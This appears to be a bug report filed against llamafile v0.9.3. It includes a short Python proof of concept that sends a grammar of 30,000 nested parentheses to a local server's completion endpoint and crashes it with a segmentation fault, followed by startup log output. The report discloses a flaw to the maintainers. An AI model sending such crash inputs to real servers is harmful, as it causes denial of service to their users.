Bug: Segmentation fault (core dumped) caused by multi-layer nested grammar

[ylwango613]

Contact Details

3020001251@tju.edu.cn

What happened?

Use the following method to send a request to an LLM running in llamafile mode:

import requests
k = 30000

s = "(" * k + 'a' 
resp = requests.post(
    "http://127.0.0.1:8080/completion",
    json={
        "prompt": "1",
        "n_predict": 10,
        "grammar": f"root ::= {s}"
    }
)

print(resp.json())

And you can see the Segmentation fault (core dumped).

Version

llamafile v0.9.3

What operating system are you seeing the problem on?

Linux

Relevant log output

./tinyllama-15M.Q8_0.llamafile 

██╗     ██╗      █████╗ ███╗   ███╗ █████╗ ███████╗██╗██╗     ███████╗
██║     ██║     ██╔══██╗████╗ ████║██╔══██╗██╔════╝██║██║     ██╔════╝
██║     ██║     ███████║██╔████╔██║███████║█████╗  ██║██║     █████╗
██║     ██║     ██╔══██║██║╚██╔╝██║██╔══██║██╔══╝  ██║██║     ██╔══╝
███████╗███████╗██║  ██║██║ ╚═╝ ██║██║  ██║██║     ██║███████╗███████╗
╚══════╝╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚══════╝
software: llamafile 0.9.3
model:    tinyllama-15M.Q8_0.gguf
mode:     RAW TEXT COMPLETION (base model)
compute:  AMD EPYC 9654 96-Core Processor (znver4)
server:   http://127.0.0.1:8080/

>>> Segmentation fault (core dumped)elp for help)